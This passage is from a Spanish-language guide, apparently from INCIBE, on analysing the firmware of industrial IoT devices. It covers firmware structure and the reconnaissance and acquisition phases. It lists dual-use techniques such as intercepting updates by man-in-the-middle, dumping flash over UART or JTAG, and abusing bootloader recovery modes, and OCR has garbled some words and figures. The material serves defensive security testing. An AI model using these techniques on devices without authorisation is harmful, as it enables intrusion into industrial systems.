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1. Sobre esta guia

La presente guia pretende explicar en mayor medida todo sobre el firmware de dispositivos
loT, tanto a nivel tedrico-técnico como una explicacion practica sobre como analizar el
firmware de los dispositivos.

La redaccion tiene un cardcter técnico tanto en la parte tedrica como en la parte practica,
ya que se ha considerado que un andlisis profundo del firmware requiere de diferentes
aspectos muy especificos y exactos para la realizaciéon de un andlisis profundo. Este
andlisis no es muy comun en la securizacibn o comprobacién de vulnerabilidades de
dispositivos 10T o lloT, por lo que se ha hecho hincapié en la metodologia de analisis del
binario, especificando claramente en cada uno de los apartados del analisis la ejecucion
paso a paso.

El orden de los contenidos se encuentra distribuido de tal forma que inicialmente se tenga
un conocimiento teérico sobre la tecnologia en general, para posteriormente ir enfocando
los contenidos tanto a la utilizacion de las herramientas para el andlisis, como la ejecucién
y resultados obtenidos en dichas pruebas de seguridad.

Por dltimo, se realiza una conclusién en la que se valora este tipo de analisis sobre los
dispositivos 10T, explicando la dificultad y los posibles resultados obtenidos.
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2. Introduccion

La gran mayoria de los dispositivos que se conocen en la actualidad contienen un
firmware. Un claro ejemplo de esto, son los dispositivos 10T (Internet of Thingst), que
utilizados en las empresas del sector industrial junto con los dispositivos Il0T (Industrial
Internet of Things?) conforman un conjunto muy numeroso. Casi la totalidad de los procesos
del sector dependen de un dispositivo de este tipo, por lo que un andlisis desde la base, es
decir, desde el firmware, puede ayudar a evitar que estos dispositivos sean vulnerados.

Para concretar la magnitud y el grado de importancia del andlisis en profundidad de estos
dispositivos y tal como se refleja en el articulo de INCIBE-CERT de ‘Predicciones en
Seguridad Industrial en 20232, se prevé que, en el afio 2025, se llegue a la cifra de 21,5
billones de dispositivos conectados, tal y como muestra la siguiente ilustracion:

Total number of active device connections worldwide

Number of global active Connections (installed base) in Bn
351

r_-: Non-loT

M o7

2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025

llustracion 1: Prevision del nUmero de dispositivos loT conectados; Fuente: 0T Analytics.

Este crecimiento tan elevado se debe al afianzamiento de la Industria 4.0¢ en el sector
industrial, junto con la incesante busqueda por aumentar la interconectividad, la
automatizacion de procesos y la adquisicion de datos en tiempo real. Ademéas, todo
esto, se esta viendo supeditado al surgimiento de la Industria 5.0, la cual trae consigo la
transformacion del sector industrial en espacios inteligentes con los dispositivos Il0T y la
computacion cognitiva.

En el caso del entorno industrial y sobre el que se centrara esta guia, los dispositivos 110T
conviven con los dispositivos 10T, ya que toda empresa industrial tiene conexiones entre

1 https://www.incibe-cert.es/blog/iot-protocolos-comunicacion-ataques-y-recomendaciones
2 https://www.incibe-cert.es/blog/mejora-del-iiot-entornos-industriales
3 https://www.incibe-cert.es/blog/esperar-ciberseguridad-industrial-2023

4 https://www.incibe-cert.es/blog/ciberseguridad-industria-4-0
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el entorno IT y el entorno OT. Es por ello, que una vulnerabilidad en el firmware de un
dispositivo IT, podria llegar a afectar gravemente a los dispositivos de la parte
operacional en el caso de que la red no estuviera bien configurada. Esta es una de las
principales razones que resaltan la importancia de analizar, tanto el firmware de los
dispositivos IT, como los dispositivos OT dentro de entornos industriales, ya que estar tan
extendidos, los convierte en un objetivo principal para los atacantes.

Un ejemplo de estos ataques es la Botnet Mirai®, la cual utilizaba las credenciales por
defecto de los dispositivos |0T, para atacarlos. En
muchos casos, estas credenciales pueden
obtenerse directamente del firmware si este no
ha sido securizado (ofuscado o cifrado). Entre los
dispositivos atacados en un entorno industrial se
podrian encontrar routers, camaras IP de
vigilancia, grabadoras de video digital, switches,
hubs, firewalls industriales etc. Mientras, por
ejemplo, en un domicilio, serian las Smart TV, las
neveras u otros electrodomésticos conectados a
la red, los routers de proveedores de internet o
cualquier otro dispositivo pensado para facilitar la
vida cotidiana.

llustracion 2: Dispositivos IloT.

La seguridad de un sistema radica en la seguridad de sus dispositivos base y dentro
de estos, la seguridad parte del concepto mas béasico del dispositivo, por lo que el
andlisis del firmware puede ayudar a descubrir posibles vulnerabilidades que de otra
manera jamas se hubieran descubierto.

Aungue existen multiples tipos de ataques a dispositivos 0T e lloT, este estudio se centrara
en el firmware de estos dispositivos, para comprobar posibles vulnerabilidades, mediante
pruebas de seguridad e ingenieria inversa que permitiran un andlisis profundo del mismo.

A lo largo de esta guia se explicaran los pasos a seguir de la metodologia de analisis de
firmware y como realizar un andlisis desde la fase de reconocimiento hasta la fase de
explotacion del binario, mediante la utilizacion de herramientas y técnicas de inteligencia
de cdAdigo abierto (OSINT). Cada fase vendra explicada tanto de forma tedrica como de
forma practica, haciendo referencia a los aspectos mas importantes y a las configuraciones
necesarias para poder obtener resultados precisos.

La principal finalidad de esta guia radica en definir los pasos para identificar de forma
ética las vulnerabilidades de diferentes tipologias de firmware, con el objetivo de
eliminarlas o mitigarlas.

5 https://iwww.incibe.es/protege-tu-empresa/herramientas/servicio-antibotnet/amenazas/Mirai
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3. Organizacion del documento

El presente estudio sobre el andlisis del firmware presente una estructura enfocada al
aprendizaje progresivo sobre dicha metodologia. Inicialmente se realiza una 2.-
introduccion a el porque de realizar diferentes pruebas sobre los dispositivos 10T y las
causas del crecimiento de andlisis de binarios de dispositivos claves en entornos
industriales.

Tras la introduccion, se explica 4.- gué es un firmware en si, ademas de las 5.- partes o
elementos de los que se compone el binario, realizando asi una explicacién cada elemento
para tener una compresion mayor y una base de cémo se estructura el firmware de un
dispositivo loT.

Posteriormente ya se inicia la seccién de la 6. -metodologia de analisis. Esta seccién
comprende desde la fase de 6.1.- reconocimiento hasta la 6.8.- explotacién del binario
mediante las vulnerabilidades encontradas en las fases intermedias.

Por ultimo, para la finalizacién del estudio, se recogen unas 7.- conclusiones basadas en
pruebas realizadas sobre diferentes firmwares loT, asi como una conclusién sobre porque
se deben implementar cada vez mas este tipo de practicas.

TLP:CLEAR

ESTUDIO DEL ANALISIS DE FIRMWARE EN DISPOSITIVOS INDUSTRIALES 9




5 = 20 . .
Financiado por Plan de PS
- la Unién Europea l-il SCEPNA  DETMSORMACONDIGTAL SRS X $:ac,:asp':::::;f:;:;n | d|g |ta[ 2jJ & Inci bE —

NextGenerationEU y Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

4. ; Qué es un firmware?

Un firmware se define como un tipo de software embebido en la memoria de lectura de un
dispositivo. Se encarga de proporcionar las instrucciones sobre el comportamiento del
dispositivo y suele activar las funciones basicas del mismo. Usualmente se almacena en la
memoria de solo lectura (ROM, Read Only Memory), previniendo posibles borrados.
Ademas, solo se puede modificar o eliminar mediante programas especiales.

Todas estas caracteristicas pueden permitir que el firmware omita al sistema operativo, a
las API y drivers del dispositivo para proveer instrucciones que permitan realizar tareas
basicas o comunicarse con otros dispositivos. La diferencia que podemos encontrar entre
el firmware y el software es que, el primero ejecuta un cddigo de bajo nivel que introduce
instrucciones para la maquina, mientras que el segundo, se ejecuta para diferentes
procesos y aplicaciones.

El firmware es la primera seccién que se ejecuta cuando un dispositivo es encendido, esta
ejecucion, sigue un proceso de arranque en el que un conjunto inicial de cédigo carga otro
cbdigo y el nivel de funcionalidad se expande a medida que avanza el arranque. Ademas,
su principal propdsito es activar a la maquina desde su encendido y preparar el entorno
para cargar el sistema operativo de la RAM (Random Access Memory) y disco duro:

Las partes que componen principalmente un firmware son las siguientes:

B Bootloader: es un combinado de utilidades que permiten realizar la actualizacion
de datos relevantes sobre el sistema operativo y de su carga en la memoria RAM
antes del inicio del dispositivo:

m Kernel: se considera el centro de mando de los dispositivos electrénicos. Es el
encargado de gestionar que el hardware no se sature y que los programas y el
sistema operativo usen eficientemente los recursos.

B Binarios de espacio de usuario: archivos cuya informacién esta definida en unos
y ceros. Su ejecucion permite desempenfiar diferentes funcionalidades del sistema.

m Sistema de ficheros: sistema clasificador de archivos el cual permite el acceso
correcto a los mismos.

® Ficheros comprimidos: permiten reducir el peso de un conjunto de archivos.

® Archivos en texto plano: diferentes archivos de texto plano como su nombre bien
indica que pueden ser ejecutados por cualquier programa.

A su vez, dentro de los firmwares, existen tres tipos de este:

B Firmware de bajo nivel: no se pueden modificar o alterar puesto que son
considerados una parte integral del hardware. Son almacenadas en un chip de
memoria no volatil como la ROM o una programable como la PROM (Programmable
Read-Only Memory), o, memoria digital en los cuales los valores de cada bit
dependen del estado de un fusible.

B Firmware de alto nivel: suelen contener instrucciones de mayor complejidad que
las del firmware de bajo nivel, acercandolos mas hacia el mundo del software que
del hardware. Son usados en conjunto con los chips de memoria flash para
posibilitar las actualizaciones.
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B Subsistema: son parte de un sistema mas extenso, que puede trabajar de forma
independiente. Suelen parecerse al dispositivo del que forman parte, puesto que el
microcddigo esta instalado en la Unidad Central de Procesamiento (CPU).

El firmware es utilizado para comunicarse con los dispositivos hardware del sistema, lo cual
es importante para tener un correcto funcionamiento de los niveles superiores del software,
en algunos casos, se podrian llegar a encontrar hasta varios tipos de firmware debido a la
complejidad de los sistemas.

En un ordenador, aunque haya varios tipos de firmware, como por ejemplo el del
procesador, discos duros o tarjetas graficas, se detectard como principal el de la BIOS.
Para poder usar un firmware se debe tener un programa disefiado para comunicarse con
él, de ahi que existan diferentes controladores o drivers.

TLP:CLEAR
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5. Partes o elementos de un firmware

A lo largo de este apartado se hard énfasis en las partes o elementos de un firmware, lo
cual aportara un conocimiento técnico mas avanzado sobre funcionamiento de este
programa légico para posteriormente analizarlo de una forma mas efectiva.

Como ya se introdujo en el apartado 4 ‘¢ Qué es un firmware?’, este, consta de diferentes
elementos, entre los que podemos encontrar el bootloader, el kernel, los binarios, el
sistema de ficheros, los archivos en texto plano, los drivers del dispositivo, el Chip-set y el
cédigo de aplicacion.

A continuacion, se detallan cada uno de estos elementos.

5.1. Bootloader

Es el software encargado de que todos los datos importantes del sistema operativo se
carguen de manera correcta en la memoria, cuando se inicia el dispositivo desde el punto
de vista del hardware. Ademas de cargar la memoria interna, también realiza una serie de
procesos para que, en ultima instancia, se ejecute el sistema operativo.

En definitiva, tras encenderse un dispositivo, se lanza el software del bootloader mediante
un medio de arrangue, como puede ser un USB o disco duro, esto depende del dispositivo
en si.

El firmware recorre secuencialmente los soportes de datos encontrados, buscando un
bootloader mediante una firma especial, llamada ‘firma de arranque’ (boot signature o
boot record). En la mayor parte de dispositivos, la busqueda estd configurada para
comenzar por los elementos extraibles, como pueden ser USB, CD/DVD, discos duros
externos, etc. Seguidos por los discos duros internos. Los discos duros, el gestor de
arranque y la firma se encuentran generalmente en el MBR (Master Boot Record) que
también contiene tablas de particiones del soporte de datos. Cuando encuentra un gestor
de arranque, este se carga e inicia el sistema. Si la busqueda no se realiza con éxito, el
firmware remitira un mensaje de error.

TLP:CLEAR
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Dos Nucleos

Ncleo del elemento seguro Ncleo de aplicacién

(ROM)
Primera etapa

del cargador
de arranque
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llustracion 3: Pasos bootloader®.
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El bootloader se puede encontrar almacenado en dos lugares:

® En el primer bloque del medio de arranque, conectado al principio de los registros
del arranque maestro, el cual contiene el enlace al bootloader requerido por el
firmware y el propio software de arranque.

B En una particion especifica del medio de arranque, seleccionada por el sistema
operativo para el almacenamiento del bootloader, aunque el sistema de archivos
subyacente y las tablas de particiones pueden variar enormemente. Es el firmware
gue estipula un formato de archivo especifico.

5.1.1. Tareas del bootloader

Su funcién principal es el arranque del sistema, para ello, tras ser ejecutado por el
firmware, su primera tarea es cargar la memoria interna y, posteriormente, el nucleo del
sistema operativo, ademas de procesar diferentes 6rdenes y tareas rutinarias, como podria
ser la integracion de datos. Algunos bootloaders pueden llegar a realizar diferentes
operaciones adicionales, como:

B Reconocimiento y arranque de otros bootloaders.

B Ejecucion de programas externos.

®  Correccion o adicién de funciones o entradas defectuosas o insuficientes del
firmware.

m Carga del firmware alternativo.

Una vez realizadas todas las tareas correspondientes al bootloader, este, devolvera la
responsabilidad al nacleo del dispositivo.

& https:/iwww.digikey.es/es/articles/iot-security-fundamentals-part-3-ensuring-secure-boot-and-firmware-update
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5.1.2. Bootloaders existentes

Algunos de los bootloaders mas comunes que podemos encontrarnos en estos momentos
son los siguientes:

B Bootmgr: usado en sistemas Windows actuales.

m Barebox: para los sistemas integrados.

m Boot.efi: utilizado en dispositivos MAC actuales.

® OpenBIOS: gestor de arranque libre con licencia GNU-GPL.

5.2. Kernel

Esta parte fundamental del sistema operativo se encarga de conceder acceso al
hardware de forma segura, ademas, ejecuta en modo privilegiado con acceso especial a
los recursos del sistema, decidiendo el orden de las peticiones recibidas segun la prioridad
e importancia.

Se pueden encontrar dos tipos:

B Privado: no se tiene acceso a los componentes que lo forman, ni se pueden realizar
modificaciones en el.

® Publico: se tiene acceso a él para examinarlo y realizar aportes o modificaciones
Gtiles para el resto de los usuarios.

Dentro de ellos se existen cuatro grupos diferentes:

® Nucleos monoliticos: facilitan las abstracciones del hardware subyacente.

B Microndcleos: proporcionan un conjunto diminuto de abstracciones basicas del
hardware y usan diferentes aplicaciones para obtener una mayor funcionabilidad.

® Nucleos hibridos: similares a los micronucleos, diferenciandose Unicamente por
la inclusion de codigo adicional para que se ejecute de forma mas rapida.

B Exonucleos: permiten el uso de bibliotecas que proporcionan una mayor
funcionabilidad gracias al acceso casi directo o directo al hardware, pero no
facilitando ninguna abstraccion

Por otra parte, el kernel, sirve para administrar los recursos de hardware que soliciten
los diferentes elementos y hacer de intermediario decidiendo qué, quién y cuando tiene
acceso. Ademas, tiene la capacidad para distribuir los recursos de manera eficiente y
ordenada.

En cuanto a sus caracteristicas sobre la comunicacién de componentes, el kernel, permite
la comunicacion entre diferentes dispositivos inteligentes, ademas de la conexion con los
diferentes periféricos disponibles dentro de un mismo dispositivo.

A modo de resumen, a continuacion, se muestran las cinco principales caracteristicas del
kernel:

B  Administracion de la memoria de los programas y procesos en ejecucion.

B Administracion del tiempo de procesador que los programas y procesos utilizan.
B Comunicacion entre los programas que solicitan recursos y hardware.

B Gestion de los distintos programas informaticos de una maquina.
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B Gestion del hardware.

5.3. Binarios

|d|g|tal %(gJ 3 IﬂCibE_

Los binarios, son archivos que contienen informacién binaria, es decir, unos y ceros, que
el sistema puede leer. Los archivos podrian ser ejecutables que indiquen al sistema las

instrucciones que debe realizar.

000004b0
000004c0
000004d0
000004€0
00000470
00000500
00000510
00000520
00000530
00000540
00000550
00000560
00000570

llustracion 4: Archivo binario.

00017130
00017140
00017150
00017160
00017170
00017180
00017190
0001f1a0
0001f1b0
0001f1cO
0001f1d0
0001f1e0
0001f1f0
0001200
00017210
00011220
00017230
00017240
0001250

llustracion 5: Archivo binario con datos visibles.

|.Q... WNAP3 |
|20 V2.0.3 firmwa|
|re.tar..W0....0.]|
|I.IDt.G.}.$..I..|
I[..u-.$z.~v"1..

[m-linux-musleabi |
|/5.3.0/../../../]
|../arm-linux-mus |
|leabi/lib/crin.o]
| .console.c.crtl. |
|c.crtstuff.c.  E|
|H_FRAME BEGIN .|
| JCR LIST .der]|
|egister tm clone|
|s.register tm cl]
|ones. do global]
| dtors aux.compl]
|eted.6572. do g
| lobal dtors aux_|
|fini array entry|
| . frame_dummy.obj |
|ect.6577. frame|
| dummy init arra|
|y entry. 1libc s|

Como se puede observar en la imagen anterior, al analizar un fichero con diferentes
herramientas, como Binwalk o firmadyne, se observa como el propio binario también
contiene informacion que puede ser entendible directamente por un humano, como el
firmware analizado (en este caso el WNAP320 con la version V2.0.3) o la estructura de

carpetas que compone el archivo.

5.4. Sistema de ficheros
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Sistema de almacenamiento de un dispositivo de memoria, que estructura y organiza la
escritura, busqueda, lectura, almacenamiento, edicion o eliminacién de los archivos de
manera concreta. Su principal objetivo es poder identificar los archivos correctos y acceder
a ellos de la manera mas rapida posible.

5.5. Ficheros comprimidos

Es el resultado de tratar a un archivo, documento, carpeta, etc. con un programa de
compresion. El objetivo principal es reducir el peso de los ficheros sin perder la informacién
original. Algunos ejemplos son LZMA, GZIP, ZIP, ZLIB, ARJ o TAR.

Dependiendo del tipo de compresién el analisis del firmware puede verse afectado ya que
algunos ficheros comprimidos admiten el cifrado de datos, mientras que otros, se limitan a
la compresion, buscando una descomprension sencilla, pero permitiendo la lectura de los
datos en claro tras la descomprension.

5.6. Archivos en texto plano

Son archivos formados exclusivamente por texto o caracteres sueltos, sin ningan tipo de
formato y que no requieren de interpretacién para ser leidos. Solo contienen texto, sin
informacion sobre el tipo de letra, formatos o tamafios.

5.7. Drivers del dispositivo

Un componente software el cual permite comunicarse a dos elementos entre si. Suele ser
entre el sistema operativo y un dispositivo externo. Su funcién es dar instrucciones al
sistema operativo sobre como debe funcionar el dispositivo instalado. Se pueden observar
diferentes tipos de drivers, como audio, video, LAN/Ethernet, Wireless, USB, dispositivos
externos, etc.

5.8. Chipset

Es un conjunto de chips y circuitos electronicos, integrados en el procesador del dispositivo
electronico, y utilizado para controlar el flujo de datos que trascurre entre el procesador, la
memoria y los periféricos. Dos claros ejemplos de chipset son: la memoria ROM o la
memoria flash.

5.9. Codigo de aplicacion

Conjunto de programas disefiados para llevar a cabo una funcién especifica al ejecutarse
sobre el cédigo del sistema. En el firmware permite enviar instrucciones a los dispositivos
para que funcionen o realicen tareas basicas, lo que permite un control de bajo nivel.

TLP:CLEAR
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6. Metodologia de analisis

Recordando que la finalidad de esta metodologia radica en mostrar los diferentes pasos
para identificar de forma ética las vulnerabilidades del firmware, con el objetivo de reducir
o mitigar dichas vulnerabilidades, también se puntualiza que estas pruebas se deben
realizar en un entorno controlado, donde no afecte a la produccion o las comunicaciones
entre dispositivos del entorno industrial.

6.1. Reconocimiento

Se puede considerar como la fase mas importante de toda la metodologia ya que permite
tener una vision completa antes de empezar el analisis del firmware. En ella se deberan
recopilar todos los detalles técnicos y toda la documentacién del firmware objeto de nuestro
analisis.

Alo largo de la fase de reconocimiento, la busqueda de informacién permitira familiarizarse
con la tecnologia y a su vez comprender la composicidon general y los componentes
subyacentes del dispositivo. Esta informacién debe ser recopilada de forma previa al
trabajo de campo y las pruebas de seguridad.

Se puede identificar un dispositivo vulnerable desde muchos puntos de vista. Algunas
fuentes de informacién pueden ser:

®m La web oficial del fabricante, donde se suelen listar diferentes tipos de
documentacion, caracteristicas técnicas, modos de empleo y uso, aplicaciones con
las que el dispositivo puede interactuar, etc.

® Los registros de certificacion representan otra fuente valiosa de informacién, ya
gue los proveedores, en la gran mayoria de los casos, deben certificar que los
dispositivos cumplen con la normativa técnica. Estos informes, suelen contener
informacion muy util para cualquier evaluacion de seguridad.

® Los repositorios de cédigo. Resultan muy Utiles ya que bastantes dispositivos
usan software sujeto a licencias de coédigo abierto, esto implica que los fabricantes
deben publicar partes de su software de manera abierta o proveer acceso al cédigo
fuente.

A continuacién, se enumeran algunos de los puntos sobre los que es recomendable
recabar informacion, teniendo asi una mayor comprension del sistema global:

B Arquitecturas de CPU que soportan el firmware.
Plataforma sobre la que trabaja el firmware.
Configuraciones del ‘bootloader’ o gestor de arranque.
Esquemas del hardware.

‘Datasheets’ u hojas de datos sobre el firmware.

Una estimacion de lineas de codigo que contiene el firmware o ‘LoC’ (Lines of
Code).

Ubicacion del repositorio de cédigo fuente.
Componentes externos que contenga.

Licencias de codigo abierto que contenga.
‘Changelogs’o cambios de registro.

TLP:CLEAR
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Los ID de la FCC (Comision Federal de Comunicaciones).
Diagramas de disefio y flujo de datos.

Posibles modelos de amenazas.

Informes previos de pruebas de penetracion.

Tickets de seguimiento de los errores.

En caso de ser posible, la comunicacion directa con el equipo de desarrollo del firmware
siempre deberd de aprovecharse, ya que permite obtener una mayor compresion del
sistema, junto a datos precisos y actualizados del lenguaje. Ademas, se debe realizar una
comprension sobre los controles de seguridad que tienen aplicados y los riesgos mas
preocupantes que generan.

En caso de ser necesario, se deben programar ejercicios de seguimiento de caracteristicas
mas profundas. Todas las pruebas suelen tener mas éxito cuando existe un entorno de
colaboracion, por lo que es importante conseguirlo.

También es importante intentar obtener los datos utilizando herramientas y técnicas de
inteligencia de cdédigo abierto (OSINT). El principal motivo para usar este tipo de
herramientas radica en la facil accesibilidad, ya que se podran encontrar guias que junto a
la inspeccion de codigo faciliten la comprension de las herramientas utilizadas, en caso de
ser necesario.

Ademas, es recomendable descargar el repositorio y realizar un analisis estatico manual y
automatizado del codigo base. Algunas herramientas de codigo abierto ya utilizan
herramientas de analisis estético gratuitas proporcionadas por proveedores que ofrecen
resultados de andlisis de alta calidad.

Con la informacién ya obtenida, se debe realizar un ejercicio de modelo de amenaza
ligera, mapeando las superficies de ataque y las areas de impacto que muestran el
mayor valor en caso de compromiso.

Para finalizar este apartado y como es considerado de vital importancia para el comienzo
del andlisis del firmware, se van a explicar los puntos mas importantes sobre los que se
deben recabar informacion para tener un elevado grado de entendimiento del firmware del
dispositivo.

6.1.1. Arquitectura de CPU soportada

Aunque las diferencias entre CPU de alto o bajo rendimiento no afectan ala seguridad
del dispositivo analizado, es recomendable conocer sus caracteristicas y capacidades al
margen de la arquitectura en si. Se pueden encontrar diferentes tipos de arquitecturas
durante los escaneos de firmware realizados, un ejemplo es el tipo ARM (Advanced RISC
Machine), como se observa en la siguiente imagen:

DECIMAL HEXADECIMAL DESCRIPTION

uImage header, header size: 64 bytes, header CRC: 0x3248DCD2..creafed: 2022-09-05 05:10:27, image size: 2648280 by

0x0
tes, Data Address: 0x40008000, Entry Point: 0x40008000, data CRC: OxE3E3CA79, 0S: Linux, CPU: ARM, image type: 0S Kernel Image, compression type
: none, image name: "ARM OpenWrt Linux-5.4.179"
64 0x40 Linux kernel ARM boot executable zImage (little-endian)

llustracion 6: Tipo de CPU: ARM.

La capacidad de poder visualizar el tipo de CPU en la fase inicial del andlisis total del
firmware permitird simplificar el proceso de reversing y emulacion, ademas de proporcionar
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una vision cercana de la seguridad a la que poder enfrentar al analisis del firmware. Algunos
dispositivos pueden contener modulos externos para almacenar informacién o partes
cifradas de la plataforma, lo que dificultaria el analisis.

6.1.2. Configuracion del bootloader

Un punto importante de entrada al sistema puede ser el bootloader, ya que su modo de
recuperacion en algunos dispositivos suele estar desprotegido, permitiendo asi hacer una
copia de seguridad con claves y certificados seguros. Una vulnerabilidad en el acceso
permitiria saltar varias capas de seguridad del sistema.

Se pueden encontrar diferentes programas de software independientes para analizar el
bootloader, todos ellos preparados para los principales tipos de arquitectura de la CPU
(incluyendo PPC, ARM, MIPS, etc.).

m Das U-boot: proyecto que permite comprobar arquitecturas. Estéa liberado bajo la
licencia de GNU y se puede construir Unicamente en estructuras de ordenadores
x86.

m Libreboot: proyecto que reemplaza la BIOS en la mayoria de los ordenadores con
un SO (Sistema Operativo) libre y esta disefiado para realizar las tareas minimas
de un sistema operativo de 32 y 64 bits. Funciona con casi cualquier distribucion
GNU/Linux que use KSM (Kernel Mode Setting) para gréficos y no funciona para
Windows ni para BSD (Berkeley Software Distribution).

®  Android bootloader.

B CFE (Common Firmware Environment).

6.1.3. Esquema hardware

El esquema del disefio electrénico puede ser otra gran fuente de informacion que ayude a
expandir la superficie de ataque. Es posible obtenerlo a partir de fuentes oficiales o
mediante ingenieria inversa y pertenecera a la parte hardware de los dispositivos.

Se deben identificar los buses donde podamos leer informacién en claro, sin cifrar y, si se
pudiese, que permitan manipular y enviar informacion falsa, accion que podria permitir al
usuario tener acceso a posibilidades que antes no estaban disponibles.
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DDR4 2xDIMMs per Channel

1x16 lanes PCI Express* 4.0
Graphics or Intel SSD

Up to 3200 MHz

2x8 lanes PCI Express* 4.0
Graphics and Intel SSD

Rocket Lake-S

DDR4 2xDIMMs per Channel
Up to 3200 MHz

11th Generation Intel®
Core™ Processors

1x4 lanes PCl Express* 4.0
CPU Attachet Storage or
Intel® Optane™ Memory

Processor Graphics

Discrete Intel® Thundrbolt 4

Three Independent (USB 4 compliant)

DP/HDMI Display Support —

Intel® Optane™ Memory
Support®

Up to 24 x PCI Express* 3.0

Intel® Smart Sound
Technology’

a

6 x SATA 6 Gb/s Ports;
SATA Port Disable

Upto 3xUSB3 | BEE Intel Z590
Upto 10 x USB 3.2 Gen 2.1

SR o Chipset Intel® Rapid Storage
R E 1DUréléSZBUJp,. r(;;em s, P Technology with RAID'
x orts

Intel® High Definition Audio’

Intel® 2.5G Base-T TR Intel® Rapid Storage

MAC/PHY Ethernet S Technology for PCI
Express* Storage’

Intel® ME Firmware

Intel® Integrated
10/100/1000 MAC

Intel® Wi-Fi 6 AX201
(CNVio) with Gig+

Intel® Platform Trust
*x1) [ SMBus ) Technology®

A,

Intel® Ethernet Connection intel® Extreme Tuning
Utility Support

llustracion 7: Ejemplo esquema CPU’.

D
PLle

En la llustracion 7 se muestra la arquitectura de un microprocesador donde se podria ir
analizando cada elemento listado en busca de vulnerabilidades, ademas del firmware que
acomparia a dicho microprocesador.

También muestra informacion de los diferentes puertos de comunicacion que utiliza el
dispositivo para sus actualizaciones, por lo que habrd que conocer cémo funciona en caso
de necesitar acceder a la placa base y conocer los pines que componen el puerto de
comunicacion.

 https://www.profesionalreview.com/2021/03/30/intel-core-i5-11600k-review/
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P serial port

WIFI
Antenna

WIFI
Antenna
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oo —3 00

B

{

RESET
button

llustracion 8: Puertos en placa base de dispositivo 10T8.

6.1.4. LoC estimadas

Conocer el numero de lineas de c6digo que contengan el firmware ayudard a seleccionar
qué herramientas y técnicas se usaran posteriormente.

Por ejemplo, si se encuentra un binario de un tamafio reducido, las técnicas de reversing
serian més efectivas frente a las de fuzzing, puesto que reduciria el tiempo que tenemos
gue invertir en que se proporcione un resultado efectivo.

Por el contrario, si se encuentra un binario con un gran tamafio, el trabajo de reversing
puede llegar a ser muy prolongado y tedioso, por lo que el fuzzing puede arrojar un mejor
resultado en menor tiempo.

B El reversing engloba el estudio del codigo del firmware para asi poder identificar
vulnerabilidades que pueda tener en ély los vectores de ataque los cuales podamos
aprovechar. Todo esto, con la idea de crear e implementar medidas de proteccion
a los fallos que podamos encontrar.

B El fuzzing es una técnica utilizada para encontrar bugs en el firmware. Se basa en
colapsar el software mediante el envio de datos no validos, inesperados o
aleatorios, para forzar y detectar errores.

6.1.5. Registros de cambios

Otra opcion viable para encontrar vulnerabilidades puede ser la revision del registro de
cambios que ha sufrido el software en el tiempo, puesto que muchos de los dispositivos
no disponen de actualizaciones OTA (actualizaciones por aire) autométicas, por lo que
estaran desactualizados.

8 http://sc04.alicdn.com/kf/H48f7eadf94f3497ca5a7bcfd3d82f4370.jpy
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Los fallos de hardware, a diferencia de los de software, Unicamente pueden
solucionarse por una nueva versién del producto.

Algunos ejemplos de registros de cambios, pueden ser librerias obsoletas, librerias con
vulnerabilidades descubiertas recientemente, puertos de depuracion, etc.

6.2. Obtencidén del firmware

En esta segunda fase, comienza la revision del contenido del firmware. Para ello, antes se
debe adquirir el archivo de imagen o binario. Algunas de las posibles maneras de obtenerlo:

m Directamente del equipo de desarrollo, del fabricante/proveedor o del propio cliente.

® Descarga directa del firmware de manera remota, esto puede que no funcione si el
dispositivo esta actualizado a la Gltima version.

®m Construir el firmware desde cero, usando una guia proporcionada por el fabricante.

Desde el propio servicio de soporte del fabricante.

B Consultas de Google dirigidas a extensiones de archivos binarios y plataformas de
intercambio de archivos, como Dropbox y Google Drive.

®m Busqueda de imagenes de firmware de clientes que suben contenido a foros, blogs
0 comentarios, via ZIP o USB.

® Mediante un MITM (Man-in-the-middle) durante las comunicaciones de las
actualizaciones.

B Descargar compilaciones desde ubicaciones expuestas de proveedores en la nube,
como AWS (Amazon Web Services).

B Extraer el hardware directamente mediante UART, JTAG, PICit, etc.

®m  Sniffing de la comunicacion en serie dentro de los componentes de hardware para
las solicitudes con el servidor de actualizacion.

®m  Através de un punto codificado dentro de las aplicaciones moviles.

® Volcar el firmware desde el ‘bootloader’ al almacenamiento USB o a través de la
red.

B Extraccién del chip flash o MCU (Unidad de Control Principal) de la placa para el
analisis fuera de linea y la extraccion de datos (esto se debera usar como altimo
recurso).

B Accediendo al hardware del dispositivo, encontrando medios para establecer una
comunicacion con el sin restricciones

A continuacién, se van a explicar de forma mas detallada, dos de las principales técnicas
para la obtencion del firmware, siendo la principal y la méas sencilla, la descarga de las
paginas web de los fabricantes.

6.2.1. Obtencion mediante pines

Para este proceso, se deberd tener acceso al puerto de comunicacion del dispositivo que
se desea analizar. En caso de no observarse a simple vista se debera abrir la carcasa para
observar la PCB (Placa de Circuito Impreso) y asi poder identificar las diferentes partes del
componente, este proceso requiere de un conocimiento profundo en las herramientas y
protocolos que existen, asi como de la estructura de la placa base, cuya informacién se
puede obtener de forma sencilla a través del datasheet del producto. En algunos casos,
puede que no se encuentre ningln puerto o que no estén etiquetados como tal, por lo que
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la soluciébn mas sencilla, es buscar un testpoint el cual contendra algun puerto al que
acceder para comenzar la investigacion.

6.2.2. Obtencion mediante herramientas de analisis de red

Se realiza mediante herramientas que permitan capturar y analizar el trafico de la red,
para encontrar posibles actualizaciones de firmware o software. Una gran herramienta es
Wireshark, debido a su gran capacidad de filtrado y facilidad de uso.

En caso de no haberse cifrado adecuadamente la comunicacién entre el dispositivo a
actualizar y el que transmite el firmware, también se podra analizar la comunicacién en
busqueda de un archivo binario, es decir, del firmware del dispositivo.

Los métodos listados anteriormente varian en dificultad y no se trata de un listado
exhaustivo. Se debe seleccionar el método adecuado en funcién de los objetivos
deseados y las normas de compromiso. Si es posible, se debe realizar tanto una
compilacién de depuraciéon, como una compilacién de lanzamiento del firmware, para
maximizar los casos de uso de cobertura de pruebas en caso de que el cédigo de
depuracién o la funcionalidad se compilen dentro de un lanzamiento.

6.3. Anélisis

Una vez obtenida la imagen del firmware, pueden darse diversos problemas a la hora de
analizarlo, como formatos no documentados, soluciones propietarias o incluso datos
cifrados. Para ello, se investigaran los diferentes aspectos del archivo, identificando sus
caracteristicas. En esta fase, se utilizaran los siguientes pasos para analizar los diferentes
tipos de archivos del firmware, los posibles metadatos del sistema de archivos raiz y
obtener informacion adicional sobre la plataforma para la que se ha compilado.

6.3.1. Volcado binario en bruto

Dependiendo de la forma en la que se haya obtenido el firmware, puede que se obtenga
